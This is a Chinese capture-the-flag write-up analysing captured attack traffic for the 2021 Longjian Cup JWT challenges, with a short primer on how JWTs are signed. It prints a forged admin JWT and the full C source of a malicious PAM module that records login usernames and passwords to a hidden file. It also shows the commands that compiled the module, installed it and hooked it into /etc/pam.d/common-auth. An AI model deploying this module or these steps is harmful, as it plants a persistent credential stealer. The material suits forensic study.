JWT认证:
签名生成过程
1. 编码 :对 Header 和 Payload 进行 Base64URL 编码
2. 拼接 :将编码后的 Header 和 Payload 用 . 连接
3. 签名 :使用密钥和指定算法对拼接结果进行签名
4. 组合 :将签名进行 Base64URL 编码,与前两部分用 . 连接
验证过程
1. 解析 :将 JWT 分解为 Header、Payload 和 Signature
2. 重签名 :使用相同的密钥和算法对 Header 和 Payload 重新生成签名
3. 比对 :将重新生成的签名与原签名比对
4. 验证 :如果签名匹配,则令牌有效;否则无效
[陇剑杯 2021]jwt1
昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
该网站使用了__认证方式。(如有字母请全部使用小写)。得到的flag请使用NSSCTF{}格式提交。
知识点(网站认证方式)

其中:
Token(令牌)是身份认证和授权机制中的一种凭证,本质是一串经过加密或签名的字符串,用于证明用户身份、权限或访问权利。
用以下代码筛选登陆的http的流量
http contains "login"

随便打开一个流量包,跟踪流,通过token来看看认证方式

这里我们发现了token,发现它的格式是xxx.xxx.xxx,可以推断这是jwt认证格式
所以flag是
flag{jwt}
[陇剑杯 2021]jwt2
昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
黑客绕过验证使用的jwt中,id和username是__。(中间使用#号隔开,例如1#admin)。得到的flag请使用NSSCTF{}格式提交。
这里最开始看post请求找到的

但是没有id,只有username
后面了解到jwt的token组成格式是
header.payload.signature
用cyberchef解密

得到id:10086,但是这里值得注意的是,流1、2只是用这个token进行登录前端,从流3来看,攻击者进行whoami的命令,这个token的id没有权限

流4退回前端,流5报错,流6到9用get找png文件,流10之后再次出现post请求(下图为流11)

而这个执行whoami就没有报错没权限,故通过这个token实现绕过验证
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODcsIk1hcENsYWltcyI6eyJ1c2VybmFtZSI6ImFkbWluIn19.rurQD5RYgMrFZow8r-k7KCP13P32sF-RpTXhKsxzvD0
进行解码,得到
{
"id": 10087,
"MapClaims": {
"username": "admin"
}
}
所以flag为
NSSCTF{10087#admin}
[陇剑杯 2021]jwt3
昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
黑客获取webshell之后,权限是__?。得到的flag请使用NSSCTF{}格式提交。
从第一从用10087id的token验证通过后,系统发送了root

故权限是root权限
flag:
NSSCTF{root}
[陇剑杯 2021]jwt4
昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
黑客上传的恶意文件文件名是_。(请提交带有文件后缀的文件名,例如x.txt)。得到的flag请使用NSSCTF{}格式提交。
下面是流里面的post请求内容和我的分析
流12进行Base64解码(下同):
#include
#include
#include
size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)
{
return size * nmemb;
}
void saveMessage(char (*message)[]) {
FILE *fp = NULL;
fp = fopen("/tmp/.looter", "a+");
fputs(*message, fp);
fclose(fp);
}
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char message[1024];
retval = pam_get_user(pamh, &username, "Username: ");
pam_get_item(pamh, PAM_AUTHTOK, (void *) &password);
if (retval != PAM_SUCCESS) {
return retval;
}
snprintf(message,2048,"Username %s\nPassword: %s\n",username,password);
saveMessage(&message);
return PAM_SUCCESS;
}
流13:
#include
#include
#include
size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)
{
return size * nmemb;
}
void saveMessage(char (*message)[]) {
FILE *fp = NULL;
fp = fopen("/tmp/.looter", "a+");
fputs(*message, fp);
fclose(fp);
}
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char message[1024];
retval = pam_get_user(pamh, &username, "Username: ");
pam_get_item(pamh, PAM_AUTHTOK, (void *) &password);
if (retval != PAM_SUCCESS) {
return retval;
}
snprintf(message,2048,"Username %s\nPassword: %s\n",username,password);
saveMessage(&message);
return PAM_SUCCESS;
}
流14(无Base64编码,下同):ls /tmp
流15:cat /tmp/1.c
流16(一段加密了,后面文件没加密,这里连接了lcurl动态库):
CFLAGS += -Werror -Wall
looter.so: looter.c
gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl |base64 -d > /tmp/Makefile
流17:ls /tmp
流18:cd /tmp;make
流19:mv /tmp/1.c /tmp/looter.c
流20:cd /tmp;make
流21:ls /tmp
从流15可以看出加入了个1.c的文件
所以flag:
NSSCTF{1.c}
[陇剑杯 2021]jwt5
昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
黑客在服务器上编译的恶意so文件,文件名是_。(请提交带有文件后缀的文件名,例如x.so)。得到的flag请使用NSSCTF{}格式提交。
继续跟踪流:文件 /tmp/looter.so复制到 /lib/x86_64-linux-gnu/security/目录
流22:cp /tmp/looter.so /lib/x86_64-linux-gnu/security/
所以flag是:
NSSCTF{looter.so}
[陇剑杯 2021]jwt6
昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
黑客在服务器上修改了一个配置文件,文件的绝对路径为_。(请确认绝对路径后再提交)。得到的flag请使用NSSCTF{}格式提交。
法一:通过之前题目的分析,发现该系统为linux系统,/etc为linux中默认的系统配置文件存放目录。可通过查看http协议中包含/etc的流量包,也可以根据上一题中的分析,自然向后查看分析数据包,也可发现黑客修该的配置文件及绝对路径
法二:
流23:ls /lib/x86_64-linux-gnu/security/ 查看模块是否成功部署
流24:echo "auth optional looter.so"
流25:echo "\nauth optional looter.so"
流26:echo "auth optional looter.so">>/etc/pam.d/common-auth 修改PAM认证配置
所以绝对路径是/etc/pam.d/common-auth
flag:
NSSCTF{/etc/pam.d/common-auth}
【感谢各位师傅的观看,有什么不足希望指出】

Comments NOTHING